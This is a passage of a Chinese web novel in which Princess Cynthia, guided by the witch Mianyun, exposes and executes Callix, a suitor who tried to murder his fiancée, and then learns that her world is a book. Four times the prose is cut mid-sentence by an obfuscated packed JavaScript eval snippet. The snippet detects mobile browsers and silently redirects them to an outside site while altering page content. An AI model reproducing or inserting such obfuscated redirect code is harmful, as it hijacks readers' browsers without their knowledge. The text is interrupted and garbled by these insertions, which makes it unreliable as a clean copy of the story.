在卡利克斯的保护下，辛西娅和霍尔躲在了一棵树后面，不知是不是因为畏惧卡利克斯的存在，那个偷袭的人不再放箭，随着被困住的勇士们脱困，刺杀者也彻底没了机会，只得弃箭逃离。 “殿下，”卡利克斯单膝跪地，双手举起呈上一张弓“这是那贼人逃跑时留下的，还请殿下定夺。” 霍尔刚想说什么，辛西娅却提前开口说道“辛苦这位……勇士了，刚刚你挺身而出，救下了我和王兄，你的英勇应当得到褒奖。” “多谢公主殿下抬爱，”卡利克斯眼中有着惊喜，表情却依旧十分真诚“保护殿下是我的责任，为殿下分忧是我的荣幸，殿下太抬举在下了。” “你……”霍尔瞥了卡利克斯一眼，又看了看保持微笑的辛西娅，后随意说道“那你就到皇家骑士团去吧。” “多谢殿下赏赐！”卡利克斯再次谢恩，他很清楚，一向喜怒无常的霍尔殿下能提拔他，不是因为他立了功，而是因为霍尔殿下要给身为公主的辛西娅面子，抓住谁能往上爬，不是已经很明显了吗？ “利奥！”霍尔脸上露出了烦躁的表情，他呵斥道“本殿下遇到刺客的时候你在哪儿？！” “在猎场的东面，殿下。”面对怒火中烧的霍尔，利奥仍旧没有多余的表情“大多数鹿都在东边的森林，我、还有许多猎人都去了那里，没想到却被人暗算，困在了一处陷阱里。” “我不管你有什么理由，”霍尔压根没听进去利奥在说什么，他只是冷着脸说道“三天之内，我要那刺客的项上人头，若做不到，你就自己提头来见。” “是。”面对这个几乎不可能完成的任务，利奥仍旧应了下来，霍尔殿下没有完不成任务的下属，因为没完成任务的，都已经被他赐死了。 辛西娅扫了一眼利奥身上的血迹，那血迹可不像是猎鹿粘上的，她动了动嘴，想要说些什么，可想到自己的愉神排名，还是把到嘴边的话给咽了下去。 发生了刺杀一事后，今日到猎场的所有人都没了玩乐的兴趣，纷纷自请离开，辛西娅和跟着霍尔一起上了专属于王室的马车，回到了王宫之中。 “辛西娅，”霍尔语气不善的打量着辛西娅，随后眼神又转向玩味“你要是想要猎场里的那个下等人，我给你送过来贴身伺候你就是，何必在人前嚷嚷着要给他嘉奖？” “王兄，”辛西娅流露出几分羞涩，随后又正色道“卡利克斯救了我们，给他嘉奖是应该的，更何况喜欢一个人就要让他变得更好，不是吗？” 在听完最后一句话以后，霍尔脸色骤变，还没等辛西娅再说什么，他便转身快步离开。 “女巫小姐，”辛西娅在自己的宫殿，看到了正在把玩着箭矢的眠云，她有些犹豫，但半晌后还是说出了自己的疑问“我并非怀疑女巫小姐的智慧，只是……其实我可以直接揭露卡利克斯的恶行，让他受到应有的惩罚，为什么我要先假装爱上他，再被他伤害，最后才能处置他呢？” 辛西娅作为公主虽然没多大权利，但起码的建议权还是有的，再加上卡利克斯又不是什么重要人物，想要收拾他并不算难，为什么要如此迂回？ “因为这件事的重点不在于惩奸除恶，而在于为你提升愉神排名。”眠云随手将箭矢放在辛西娅手上问道“你有没有研究过要如何提升愉神榜排名？” “有的，”辛西娅点头“我研究过很多次，但……神明的喜好属实多变。” “我小时候没什么朋友，父王母后也没时间管我，所以哪怕王兄不太喜欢我，我也只能跟在他身边。”辛西娅开始举例“那个时候我发现我离王兄越近，愉神榜排名越靠前，我以为神明是爱屋及乌，因为王兄是神明最喜爱的人类，我靠近王兄，神明也能更喜欢我。” “可是在我长大以后，这种情况就完全反了过来。”辛西娅眼神里满是不解“不知道为什么，我一靠近王兄，愉神榜的排行就会下降许多，上次我规劝王兄不要随意责打他的侍卫，愉神榜竟然直接掉到了倒数第二。” “嗯……我不是这个意思，”眠云随意的说“要研究明白愉神榜，首先要把男女分开看。” “男女……分开？”辛西娅不明所以，但她还是找来了二十年以内的愉神榜排行记录，将其中的女性都一一列了出来。 虽然不知道为什么，但愉神游戏中，男性的数量比女性要多很多，大约百人左右的愉神榜，男性就占据了七十个位置，愉神榜前十名更是只有一个女性。 辛西娅找了十个排行相对稳定靠前的女性，开始寻找起她们的共同点。 贵族出身？ 不是，这十人中虽然有六人是贵族出身，但愉神中贵族本来就比平民要多，这个比例也是正常。 长的漂亮？ 确实，这个规律还是比较明显的，长相漂亮的神眷，无论男女，都比较容易获得神明的偏爱，可女巫小姐为什么说愉神与性别有关？ 辛西娅又仔细的看了很多遍，终于发现了她们一个勉强能算作共同点的地方。 她们的情感状况都不是很好。 准确来说，她们之中有人已婚有人未婚，未婚的要么对异性不假辞色，要么放荡不羁流连花丛。 已婚的几个，有的与丈夫只是利益交换，有的养了一大堆情人，总之，没有一个夫妻恩爱的。 难道她也要这样吗？可她已经做到了啊。 她没有丈夫，也没有情人，可为什么唯独她被神明厌恶了啊？ 辛西娅把自己猜测说给眠云，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882314|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎意料的是，眠云肯定了她找出的共同点，却否认了她对自己的评价。 “你找的方向是对的，”眠云笑吟吟的说道“只是表达的方式稍稍有些偏差。” “受‘神’欢迎的不是情感情况不好，而是对男人不屑一顾。” “是这样吗？”辛西娅皱起了眉头“可根据愉神榜上的名字数量来看，神明明更喜欢男人。” “这其中的原因比较复杂，你只要记住结论就好了。”眠云竖起一根手指放在唇边“毕竟神，可能就在看着你呢。” 辛西娅被吓了一跳，她连忙从扎堆的书册里钻出来，恢复典雅娴静的姿态，虽然她不知道神的具体喜好，但保持仪态端庄应该是加分项吧？ 时间过的飞快，在辛西娅和卡利克斯双方都有意的情况下，两人的感情发展迅速，直到眠云表示可以收网了以后，辛西娅才将卡利克斯单独约出来，羞涩的表示自己想要嫁给他。 “殿下，”卡利克斯眼里的兴奋几乎快要浓成实质“在下定不辜负公主殿下的情意。” 卡利克斯不可能不兴奋，他出身平民，之前仗着自己有一幅好皮囊勾搭了上一个农场主的女儿才成了猎场的勇士，猎场勇士听着威风，可实际上依旧是平民，要是辛西娅公主嫁给他，国王少说也会封他个伯爵之位，那他岂不是一步登天，成了贵族老爷？ “一周以后，我就会和父王说我们的事，”辛西娅的脸颊微红，看起来很不好意思“虽然你是个平民，但我父王倒是不在乎这个，你要好好准备，之后……父王可能会召见你问一些问题。” “……好。”卡利克斯原本已经兴奋到发热的脑子像是被泼了一盆冷水，迅速冷却了下来，他或许能凭借演技骗过不谙世事的小公主，但他和农场主女儿的事，想要瞒过国王，几乎是不可能的。 为今之计，唯有快刀斩乱麻，一下子按死农场主女儿，虽说这样会凭空多出许多波折，但总比被查出来强。 “他已经打算开始行动了，”眠云喝了一口装在细瓷杯里的红茶，她更偏爱绿茶，但红茶滋味也不错。“该做的事我已经讲过，具体要怎么做，应该无需我教你吧？” 辛西娅看着柔弱温婉，沉默少言，但作为公主，她的能力并不差，至少像是今天这种小事，她还是可以安排的。 “地点已经找好了，”辛西娅整理了一下衣衫，努力做出偶然出行的松弛感“在王兄的行宫，每隔十天王兄就会去那里一次，最近的一次正好是今天。” “不过……这样做真的没问题吗？”辛西娅向眠云反复确定“之前我靠近王兄，愉神排名都是会下降的。” “当然没问题，”眠云嘴角扬起了一抹笑“毕竟这次你不是去找你王兄，而是去找卡利克斯，至于为什么非要在你王兄附近，因为啊……” “配角，可是要蹭主角的光环，才能被大家看到。” 27. 第3章 主角光环是什么意思，辛西娅没听懂，但眠云说的这句话，她倒是听懂了。 辛西娅的兄长霍尔常年霸占愉神榜第一名，如果这个世界是一本故事书的话，那用主角来形容霍尔，自然是再合适不过。 而她自己，作为愉神榜倒数第二的边缘人物，自然是配角，恐怕还是人气很低，又令人讨厌的配角。 可……女巫小姐为什么要这样形容她？ 辛西娅知道眠云不是无的放矢之人，或许眠云说的话，另有什么深意。 “走了，”眠云像是没看到辛西娅眼里的深思，神色如常的说道“去抓奸，哦，不对，应该说是去撞破杀人灭口现场。” “好。”辛西娅有心想问，却知道现在不是时候，为了今天，她已经准备了很久，还约上了几个贵族小姐当做证人。 卡利克斯为了当驸马杀害旧情人，她作为公主的颜面无论如何都保不住，与其私下解决，倒不如闹的越大越好，到时不仅卡利克斯无法辩解，她自己也能占个名正言顺。 “辛西娅，”马车上，眠云忽然开口说道“我可以让你受到‘神’的喜欢，可这真的是你想要的吗？” “什么？”去往行宫的路面很不平整，马车车轮与地面碰撞发出咔哒咔哒的声响，辛西娅扶着一侧的车壁，并没有听清眠云在说什么。 眠云没再重复，只摇头看向窗外，在寻常人看不到的山的另一边，长相英俊的男人正与一个娇俏少女在山中行走，这两人正是她们的目标，卡利克斯与农场主的女儿。 “辛西娅，”霍尔面色不善的看着辛西娅，语气中很是不满“你怎么来这儿了？” “王兄，”辛西娅提起裙摆行了个礼，其实这个行宫是王室行宫，所有王室成员都可以过来，只不过没人愿意触霍尔霉头，行宫才渐渐变成了霍尔的私产“这几位小姐都很想见识一下王室专属的行宫，但其余行宫总归不如王兄的行宫豪华，所以我才带她们过来。” “哼！”霍尔哼了一声，眼神扫过辛西娅身后几个面露激动之色的少女，心中有些得意“随便你，要是惊扰了我的小宠物，你就等着被喂鳄鱼吧！” “多谢王兄。”辛西娅的礼仪无可挑剔，可在她低下头的时候，眼神里却划过一丝无奈。 她不明白，生在王室，霍尔是怎么做到愉神榜第一名的，甚至但凡对霍尔有敌意的人，哪怕还没付诸行动，愉神榜排名就会骤降，难道真的像女巫小姐所说，霍尔就是这个世界的主角吗？ 为了防止有人中途变卦不敢来行宫，辛西娅今天找来的几个贵族小姐都是霍尔的崇拜者，毕竟霍尔再喜怒无常，他天使一般的面孔和高贵的身份还是给他吸引了一大批崇拜者。 几个贵族女孩对行宫很是好奇，辛西娅微笑着表示王兄不喜欢旁人离他太近，她们几个还是离主殿远一些为妙。 “救命——” 几个贵族女孩面面相觑，一个年纪比较小的女孩弱弱的说道“那个……你们听没听到有人在喊救命？” 女孩们纷纷点头，但都站在原地没有动，毕竟这里是王室行宫，要是遇到了什么王室成员的隐蔽事，对方恼羞成怒要杀人灭口怎么办？ 况且她们每个人都穿着参加茶会必备的蓬松礼裙，即使是想救人，还未必有人家跑的快呢。 “我过去看看吧，”辛西娅皱了皱眉，对同伴们说道“我先去前殿那里看看，你们帮我把护卫叫过来，要是真有什么人被野兽所伤，那就不好了。” 相比较于去看喊救命的人，还是叫护卫更安全些，贵族小姐们纷纷表示自己一定会尽快把护卫叫过来，并用看勇士一般的眼神目送着辛西娅离开。 辛西娅的步伐不慢，虽说做戏做全套，她身上穿的也是茶服，但她毕竟早有准备，里面的衬裤裤脚被绑带绑的严严实实，只要提起裙摆，就能快速奔跑。 行宫前面的深山之中，刚刚还说着甜言蜜语的卡利克斯忽然变了一幅模样，提刀便想将农场主女儿刺死，可怜的农场主女儿被惊呆了，要不是身边的侍女拉了她一把，她可能真的会死在这里。 “小姐！”侍女拽着农场主女儿快速在山林间奔跑，但她们毕竟是没有多少锻炼的女儿家，体力又怎么可能比得过在猎场工作的卡利克斯？“这样下去我们会死的！我们应该尽快求救！” “啊？要怎么办？我们应该喊救命吗？”没经历过多少事的农场主女儿这会儿已经被吓懵了，她下意识想要喊救命，却被侍女一把捂住了嘴。 “小姐，在这山林里喊救命会被卡利克斯先生发现的。”侍女压低了声音“我听说这附近有一个贵族老爷的行宫，我们可以去那里求救，卡利克斯先生胆子就算再大，也不敢在贵族的地盘杀人。” “好。”农场主女儿不住的点头，现在恐怕不管侍女说什么，她都只会说好了。 两人在丛林间奔跑了不知多久，终于看到了行宫的影子，侍女表示她们可以大声求救了，毕竟贵族的行宫里都有侍卫，若是贸然靠近，恐怕她们会比卡利克斯更早被侍卫杀死。 跟在两人身后的卡利克斯显然也听到了求救声，他看到前面隐隐有宫殿的影子，心里的紧迫感更上了一层。虽然他不知道在这里居住的是哪个贵族，但今天这两个人他必须杀掉，否则事情一但传出去，别说娶公主了，就是农场主都会置他于死地！ 想到这儿，卡利克斯从怀中摸出一把弹弓，将一柄淬了毒的小刀架在弹弓上，弓箭太大也太具有标志性，用这种弹弓+小刀的组合，不容易被追踪来源，除了射程短一些，几乎没什么缺点。 双方的距离越来越近，卡利克斯举起了弹弓瞄准，却忽然看到了意想不到的人，弹弓矢了准头，小刀掉落在地上，溅起一地灰尘。 “这位小姐，”辛西娅站在行宫前，似是有些不解的看着眼前这一对主仆“你们是遇到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890991|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么困难吗？” “请小姐救救我家小姐！”侍女上去一个滑跪直接抱住了辛西娅的大腿，哭嚎声大到整个行宫都能听到“我家小姐的未婚夫为了攀高枝要杀人灭口，还请小姐开恩，救救我们主仆二人吧！” “竟有这等事？！”辛西娅又惊又怒，她将侍女扶起来，又握住了农场主女儿的双手，亲切的说道“我是赫瑟瑞的五公主辛西娅，若你有什么不平事，请一定要告诉我，我定不会叫那奸人得逞！” “公主殿下。”农场主女儿有些拘谨的行了一礼，她家虽有些钱财，但并不是贵族，别说公主了，就算是贵族家的小姐她也没见过几个，此时此刻骤然见到一位公主，她感觉自己的手脚都不知道该放在哪儿了。 “殿下，”比起性格内向腼腆的农场主女儿，她的侍女心态反而更稳一些，随即便开始讲述起这段时间发生的事。“我家小姐本是一个农场主的女儿，小姐的未婚夫则是一个来自北方的流民，老爷心善，时常接济流民，那人就蹬鼻子上脸，说要求娶我家小姐。” “小姐这个人一向好说话，稀里糊涂的答应了下来，还给那吃白饭的介绍了猎场勇士的活计，我原本想着，只要小姐喜欢，纵使那人是个流民，我们家也认了。” “可那流民不知好歹，竟是在猎场勾搭上了一个贵族小姐！”侍女气的咬牙切齿“他生了一幅好皮囊，又会哄人，不知哪个贵族小姐被这么个忘恩负义的白眼狼给骗了，竟让这种人入了眼！” “安娜！”农场主女儿扯了扯侍女的衣襟，示意侍女不要那么激动的说出来龙去脉，只要将最主要的事讲出来就行了。 “那白眼狼为了攀上贵族小姐，想要和我家小姐撇清关系，我家小姐不同意，那白眼狼就借着外出的由头要杀了我们主仆。”侍女利落的说完了今天的事，又跪下哭求“请公主殿下为我们主仆做主！” “你放心，”辛西娅坚定的说道“此等忘恩负义之人，我定不让他如愿，他叫什么？在那个猎场？我一会儿就去叫侍卫将此人缉拿，与他当面对峙。” “他叫……” 咻—— 还没等侍女说完，一把小刀从后方的森林朝她急射而来，侍女立马矮下身子躲避，大喊道“公主殿下小心！那贼人还在附近，他想杀我们灭口！” “安心，”辛西娅躲到了附近的树后面，对主仆二人说道“行宫的侍卫会将此人擒住。” 辛西娅话音刚落，十几个侍卫鱼贯而出，将人绑了个严严实实，女仆指着地上的男人，兴奋大喊就是他！就是他！辛西娅也借用了行宫的正殿，准备审一审这位负心人。 “你是何人？为何袭击本公主？”辛西娅清了清嗓子，正色道“你可知袭击王族，当处以绞刑？” 被捆住的男人一言不发的低着头，直到被侍卫按着强行抬起头，他的脸才暴露在辛西娅的视线中。 “卡利克斯？！” 28. 第4章 纸终归是包不住火的。 辛西娅叫出了卡利克斯的名字以后，就连一直兴趣缺缺，听到骚动才赶过来看的霍尔都饶有兴趣的抬起了头。 “你这个小情人，看起来不太老实啊？”霍尔换了个姿势，用手臂支着头，笑吟吟的说道“怎么样，需要我帮你调教调教，让他学会什么叫听话吗？” “殿下，”卡利克斯能从一介流民差点儿成为驸马，智商自然是不差的，他敏锐的察觉到，霍尔并不在乎他杀人灭口，只是觉得他不太安分而已。“在下鬼迷心窍，请殿下原谅在下一次，在下保证以后事事以殿下为先！” 说着，他便把头磕在地上，他知道，利用辛西娅的心软，以卑微的姿态苦苦哀求原谅，是他目前唯一的出路，只要辛西娅原谅了他，那杀死几个平民又算什么？ “米娅小姐，”辛西娅沉默了一会儿，随后抬头看向农场主女儿“你可以重复一次你的未婚夫，也就是卡利克斯先生所犯之罪吗？” 米娅有些畏惧，迟迟不敢回答，因为在赫瑟瑞，贵族的地位高高在上，她怕她如果真的说了卡利克斯的恶行，反而会给自己召来杀身之祸。 “事情是这样的，”侍女安娜主动上前一步，重复了刚刚说过的话，语毕，她又补充道“对了，还有一件事，我不知道是真是假，传闻卡利克斯在勾搭上我家小姐之前就有一个妻子，后来那个女子就失踪了，我当时只当是乱传，现在看来……倒也未必。” “卡利克斯，”辛西娅声音平静，听不出多少波澜“她说的可是实情？你可认罪？” “殿下，”卡利克斯的声音里多了一丝哽咽“我来自北方一个普通的猎户，三岁就没了母亲，父亲死的时候，我才十五岁。” “前几年北方发生旱灾，民不聊生，我和一个邻居家的姐姐一起逃难，”卡利克斯深知语言的艺术，他没有一味的否认，反而从自己的角度讲述起来。“后来米娅小姐的父亲收留了我，等我再去找邻居姐姐的时候，邻居姐姐就已经不见了。” 说到这儿，卡利克斯还落了泪，表示自己只是个无权无势的平民，想找人也无处找，无奈只得作罢。 “我虽对米娅小姐并无情谊，但为了报答米娅小姐父亲的恩情，还是答应了和米娅小姐成婚。”卡利克斯叹息一声“我本想着，就这样浑浑噩噩的过一辈子也好，但岂料我遇见了公主殿下。” “公主殿下就像一束明媚的阳光，闯进了我晦暗的人生，您带走了我的一半灵魂，即使我的身体与米娅小姐成婚，也不过是行尸走肉罢了。” “我呸！”卡利克斯这般深情演讲并没有感动到女仆安娜，相反的，安娜指着他的鼻子怒斥“你这个忘恩负义的东西，颠倒黑白有一套，说的比唱的都好听，你自己听听，你这话说的有道理吗？” “我们小姐虽然不是贵族，却也有才有貌，难道还用得着用恩情让你娶吗？”安娜不屑一顾的说道“你也不看看，你一个流民，除了脸没有任何出众的地方，要不是你当初苦苦哀求，我们小姐能答应嫁给你？我呸！” 卡利克斯说的情真意切，但仔细想想，他的话根本站不住脚。 农场主帮了他，他就要娶人家才貌双全的女儿，这哪里是报恩？这不纯粹是蹬鼻子上脸，占人家便宜吗？ 卡利克斯也知道自己的理由不好，但这件事的重点其实只在于辛西娅信不信他，只要辛西娅点头，米娅自然也不敢计较。 “帝国有帝国的律法，”辛西娅垂首看着卡利克斯“卡利克斯，杀人未遂，交予骑士团调查，若安娜说的杀害流民为真，那就是杀人罪，按律当斩。” 辛西娅此话一出，在场的所有人都愣了一下。 辛西娅的做法不正常吗？不，就是因为她的做法太过正常，才在贵族中显得格格不入。 有哪个贵族会把自己的小情人按照法律交给骑士团处置？哪怕真的想惩罚情人，留在自己的庄园里慢慢折磨不好吗？ “来人！”辛西娅不容置椽的叫来护卫，交代护卫将人交给骑士团，后又对卡利克斯说道“你忘恩负义，杀害恩人之女，我留你不得，若你真的杀了人，看在以往的情意上，我会去送你一程。” 许是因为辛西娅的做法太过果断，有违她以往温吞的形象，霍尔难得的没说什么，只摆摆手让护卫将人押下去。 出了这种事，所有人都无心再玩乐，辛西娅虽然并不伤心，但她还是摆出了失落的表情，沉默的上了马车。 “你做的不错，”眠云端坐在辛西娅对面，微笑着说道“但按照原本的预计，你应当做的更好。” 辛西娅摇摇头，苦笑道“女巫小姐，您高估我了，我不是擅长做戏的人，恐怕做不出愤怒和被背叛的姿态。” “是不能，还是不想呢？”眠云语气悠然“你很聪明，比你表现出来的要聪明的多，这点利弊，难道你还不明白吗？” “……我不愿意，”辛西娅闭了闭眼睛，神情有些疲倦“古往今来，施加在女子头上的偏见已经够多了，神殿的大主教甚至认为女人是没有思考能力的。” “女子一直被认为是冲动、嫉妒、不理性点，可事实真的是这样吗？” “我固然可以用受害者的姿态指责卡利克斯，说自己受到了欺骗，可如果我这样做了，这件事的重点就会转移到我、卡利克斯、米娅三人的情感上，从而忽略了卡利克斯是为了求名利而杀人。” “这世间的所有事，好像一但与女人、情感沾边，就成了爱来爱去的小事，哪怕对方犯的是杀头大罪，也是情有可原。” “我想向世人证明，”辛西娅看向眠云，她逆着光，眼睛却如同阳光一样，温暖而坚定“卡利克斯是因杀人而被判处死刑，而不是因为玩弄了某个贵族小姐的感情，被贵族小姐报复。” “我之前说过，”眠云轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14904257|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹一声“当时你在马车上并没有听到，那我现在再问一次吧。” “在愉神游戏中受到神的喜欢，真的是你想要的吗？” “我想……我没得选，”辛西娅苦笑“就像我知道帝国的制度有诸多积弊，但我也无能为力一样，人只有活下来才能说想做什么，若是活不下来，那就只能是空想了。” “我可以很明确的告诉你，”眠云看着窗外，缓缓说道“以你本来的性格，大概率是不会受到‘神’的喜爱，如果想要维持愉神排名，你就要一直按照我说的‘设定’走下去，表演一个与你性格不同的人。” “接下来，我要怎么做呢？”辛西娅并没有正面回答，而是反问道“还是按照原来的计划吗？” “对。”眠云点头“‘神’未必会看的那么真切，计划仍旧不变。” * 一个月后，骑士团新晋骑士卡利克斯被证实曾谋杀与他一同逃难的同乡被判处死刑，行刑当天，来的人并不多，除了米娅主仆以外，就只有霍尔笑容满面的看着不断升高的铡刀。 “利奥，你说我那个妹妹今天会来吗？”霍尔手里把玩着一枚红宝石戒指，随意的问道“应该不会吧，毕竟她向来软弱又愚蠢，来了的话，估计要被那喷涌而出的鲜血吓死了吧！” 说到这儿，霍尔笑了起来，利奥仍旧没什么表情，只是沉声说道“请殿下不要如此评价辛西娅殿下。” “嗤！”霍尔嗤笑一声，好看的眉眼带出几分锐利“怎么？你喜欢辛西娅？见不得人说她？” “殿下多虑了，”利奥眼睛动了动，又很快恢复平静“您与辛西娅殿下是一母同胞，若今日之言被旁人听去，恐怕会有人借此对殿下不利。” “谁会听到？”霍尔漫不经心的扫过离他八百米远的米娅主仆，提高声音道“那就把在这里的人都杀掉好了，只要没人听到，不就不会有人去告密了吗？” 米娅被吓的瑟瑟发抖，不是她胆子小，而是霍尔的名声实在不好听，只要惹到他了，就连贵族他都照杀不误，她这个普通农场主的女儿，又怎么可能幸免于难？ “王兄，你吓到米娅小姐了。” 辛西娅从远处走来，她笑着对米娅说道“别怕，王兄只是开个玩笑，不会拿你怎么样的。” “公主……殿下？！”米娅长大了嘴巴，连刚刚霍尔说的话都没能让她这么惊讶“您……您……” “怎么了？”一改往日的淑女形象，梳着利落短发，身着一身轻甲的辛西娅笑道“才这么几日，就不认识我了？” “辛西娅？！” 比米娅更惊讶的，是即将被处死的卡利克斯，原本他还心存侥幸，觉得辛西娅会放他一马，但现在，他心里有种不好的预感。 “是我，”辛西娅收敛了笑容，她站在行刑者的位置，打量着仅用一根绳索高高吊起的断头台铡刀“我说过，我会来送你一程。” 29. 第5章 所有人都没有想到这个场景。 以往温雅端庄的公主剪掉了长发，将万年不变的公主裙换成了轻甲，站到断头台上，笑着说要送对方一程。 而断头台上即将被砍头的人，是曾经背叛公主的旧情人。 这一幕若有画师画下来，那定然是一幅极具冲击力的画面。 “你还有什么遗言要交代吗？”辛西娅拿起斧子，她的神色愈发平静，让人看不出悲喜。 “辛西娅，不！”卡利克斯眼里的惊慌几乎要凝成实质，他想伸手去阻止辛西娅，却被身后的士兵死死压住。“你不能杀我！你喜欢我，你怎么可能会杀我？！” “你这个忘恩负义的渣滓，不配得到任何人的喜欢。” 说罢，辛西娅直接一斧头砍断了断头台的绳索，铡刀瞬间斩下了卡利克斯那颗满脑子算计的头颅，他的眼神里满是不可思议，似乎到死他都没想到，性格软弱的辛西娅竟会如此果断的杀了他。 “王兄，米娅小姐，安娜。”辛西娅微微向三人点头致意“抱歉，我的衣服溅到了血，不便接待三位，若无要事，我就先离开了。” “请、请便。”米娅感觉自己的舌头像是打了结，连说话时都磕磕绊绊，很不中用，好在辛西娅并未计较，只向三人道别以后便自顾自的离开。 “有意思，”霍尔随手将红宝石戒指扔在了地上，语气玩味又虚浮“利奥，你觉得我这个妹妹怎么样？” “属下不敢妄议辛西娅殿下。”在众人看不见的地方，利奥的手紧握剑柄，他的表情和声音却仍旧无波无澜，像是神殿中坚毅勇敢的骑士雕像。 “没意思。”霍尔啧了一声，随后转身离开，刑场的士兵上前将卡利克斯的尸体埋了，又用清水将刑具洗净，不过一会儿，刑场又恢复成了原来的样子。 卡利克斯被处决的第二日，就是愉神榜更换的日子，作为上一次愉神榜的倒数第二名，辛西娅自然早早在花园中等着愉神榜的出现。 “辛西娅殿下，”霍尔的专属骑士利奥对辛西娅行了个标准的骑士礼，一丝不苟的说道“第五骑士团团长利奥向您问安。” 辛西娅下意识想要笑一下，却又快速板起脸，神色如常的回道“免礼，王兄最近可还安好？” “霍尔殿下安好，”利奥放下手，身形笔直的站在原地“这次王后仍旧派遣了在下查看并记录愉神榜。” 这样的场景其实不是第一次发生了，愉神榜很神奇，在赫瑟瑞，无论神眷处于何处，只要是室外，都能看到愉神榜。 霍尔作为长期霸榜榜首的人，根本不屑于出来看，无奈之下，王后只好每年都让利奥去看，并将结果上报给霍尔。 不知从哪一次起，辛西娅与利奥在这个小花园偶遇，之后的每次，他们都是在这里查看愉神榜的变动。 “殿下不必太过心焦，”利奥语气冷硬，却说出了一句勉强算是安慰的话“这次殿下的愉神排名一定会有所提升的。” “多谢。”辛西娅最终还是朝利奥笑了笑，说起来，以前她和利奥的关系还算不错，只是后来利奥也被愉神榜选中，她和利奥一但靠近，两人的愉神排名都会掉，尤其是她，排名掉的非常厉害，慢慢的，两人就不怎么说话了。 当太阳升至正中之时，一张泛着金光的榜单出现在半空中，辛西娅从最后一个名字开始看，一直提着的心终于放了下来，还好，最后一名不是她，只要不是最后一名，就还有挽回的余地。 “恭喜殿下。” 还没等辛西娅看到自己的名字，利奥沉稳低哑的声音便回响在她耳边，那个向来一丝不苟，严肃到没什么表情的男人露出了一个不太熟练的微笑，对辛西娅笑道“恭喜殿下，殿下这次的愉神排名一下子提升了很多。” 辛西娅数了一下，愉神榜一共82人，她排第34，这个成绩，比她以前要好的多。 好不容易保住了自己的性命，辛西娅虽放松了些，却没有完全放松，毕竟她不知道愉神榜排名提升的原理，眠云也不可能一直帮她，自己的性命，终究还是把握在自己手里才能安心。 想到这儿，辛西娅和利奥打了声招呼以后就匆匆回了寝殿，虽说她不知道眠云在哪儿，但她知道，交易已经达成，眠云一定会来向她讨要报酬。 “女巫小姐，”看到眠云在她寝殿的一扇窗户旁，辛西娅的心才算落到实处“您要离开了吗？” “是啊，”眠云随意点头“回答过你最后一个问题，我就要离开了。” “既然女巫小姐什么都知道，那我就不说废话了。”辛西娅问出了关乎自己性命的问题“神到底喜欢什么样的人？” “这个……其实挺复杂的，”眠云想了一下“你想去神界看看吗？” “……神界？”辛西娅被眠云所说的话震住，一时竟有些踌躇起来“真的可以吗？” “当然，”眠云微微颔首“作为最后一个问题的答案，我不收你的报酬。” “那就麻烦女巫小姐了。”辛西娅很快镇定了下来，询问起了神界的风俗，以免因为自己的冒失而惹怒了神明。 眠云没有说太多，只说跟着她就行，片刻以后，辛西娅望着眼前的新世界，不由得矢了神，心里暗叹神界的神奇。 神界的道路整齐平坦，上面的车竟无需马匹就能自行行走，旁边的商店牌匾上散发着五颜六色的光，辛西娅伸手摸了摸，完全不烫，难道这些圆圆的小东西不需要点火就能发出光来吗？ “你觉得这里怎么样？”眠云冷不防的问道。 “神界非常令人惊讶，”辛西娅真心赞叹现代都市的繁华“原来神明就是这样在天上看我们的啊。” “天上……这个描述并不算准确。”眠云沉吟片刻，将一个部手机递给辛西娅“你看过游记、童话之类的故事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906828|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书吗？” “看过，”辛西娅一脸懵的点点头“您是说……” “你所在的赫瑟瑞王国，是一个扁平世界。”眠云伸手点了两下手机，随着手机亮起来，画面中出现的人，赫然是衣着华丽的霍尔。“扁平世界，也就是书中的小世界，你身边的所有人都是书中人，而你的王兄霍尔，就是这本书的主角。” 辛西娅直直的盯着手机上显示的图画，没能回过神来，之前女巫小姐曾和她说过主角配角一类的话，她以为那只是一个比喻，但没想到，她还真是一个故事里的人物啊。 